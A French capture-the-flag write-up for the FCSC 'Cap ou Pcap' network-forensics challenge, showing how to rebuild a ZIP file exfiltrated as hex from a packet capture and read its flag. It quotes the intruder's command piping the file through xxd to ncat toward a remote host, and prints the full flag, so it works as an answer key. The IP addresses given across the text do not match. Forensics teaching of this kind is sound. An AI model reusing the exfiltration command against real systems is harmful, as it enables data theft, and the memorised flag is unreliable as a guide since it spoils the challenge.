Solution de prae_gitlab pour Cap ou Pcap

intro forensics réseau

3 décembre 2024

Première approche

Le fichier pcap est un fichier contenant des trames réseaux.

On va analyser le fichier brut sans passer par un outil type wireshark & co :

$ strings cap.pcap
RHrX
RHrX'
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
qpwd
-/home/fcsc
 07:10:25 up 24 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
fcsc     tty7     :0               06:46   24:47   3.13s  0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
#Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
ls Documents
flag.zip
Ffile Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
5KgZ7
5Kg[
5Kg[
504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000d
5Kg[7
5Kg[
5Kg[7
5Kg\
Iexit

On voit une entrée flag.zip… cela sent le flag caché dans un fichier ZIP.

En regardant de plus près ce scénario, l’analyse rapide indique qu’une personne s’est connecté à une machine, puis a essayé d’exfiltrer le fichier flag.zip vers la machine 172.20.20.153 en utilisant un petit ncat et est parti directement.

Notre fichier zip semble, ici, très important…

À la recheche du ZIP perdu

Le header d’un fichier ZIP est PK. Si on recherche à la brut un header PK dans le fichier pcap :

$ grep PK cap.pcap
$ _

… et on ne retrouve rien.

Si on se souvient, notre personnage mystère a effectué un xxd du fichier, il l’a donc converti au préalable en hexadécimal brut (plain) avec xxd avant de l’envoyer par réseau !

Essayons de trouver un header PK mais au format hexadécimal. (PK == 0x50 0x4B) :

$ grep --text -i ".*50.*4b" cap.pcap
�-�<RI��504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000dօ^�Q

Ah ! On découvre un header qui semble valide, surtout qu’on découvre des signatures complètetes de ZIP :

  • 50 4B 03 04 : Signature ZIP
  • 50 4b 01 02 : Signature ZIP
  • 50 4b 05 06 : Signature ZIP

Nous allons prendre toute la séquence 504b jusqu’à la fin et décoder ce flux de données pour voir ce qu’il nous retourne.

Pour cela, nous allons prendre la séquence hexadécimal encodée en simple string et la passer dans xxd en mode reverse (--revert) et l’afficher telle quelle (--plain) :

$ echo "504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000dօ" \
    | xxd --revert -plain
P�1�Pe#\9Bflag.txtUT    �ȅ^�ȅ^ux
������3cV�h±w���Z���ΎV���Y�*�D�����N>����dԌ({|P�1�Pe#\9B��flag.txtUT�ȅ^ux
                                                                          ��PKN�p

Nous constatons que nous avons bien plusieurs occurences de PK et surtout l’entête qui donne la structure d’un fichier ZIP avec le nom d’un fichier très intéressant flag.txt.

Vu que nous n’avons qu’un fichier, nous allons utiliser zcat pour afficher directement le résultat du flux sortant de xxd :

Maintenant, ouvrons le coffre fort !

echo "504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000dօ" \
    | xxd --revert --plain \
    | zcat
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}

Et voila !

Analyse optimisée avec tcpdump

Nous pourrions aussi utiliser tcpdump pour analyser le fichier pcap et en filtrant ce qui nous est inutile en une seule passe :

$ tcpdump -A -r cap.pcap 'src host 172.20.20.132 and tcp port 20200 and length > 100' 2> /dev/null \
    | tail -n1 \
    | xxd --reverse --plain \
    | zcat
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}

zcat est assez permissif pour que je ne cut pas le préambule avant les données du PKZIP et nous montre le flag complet sans erreur.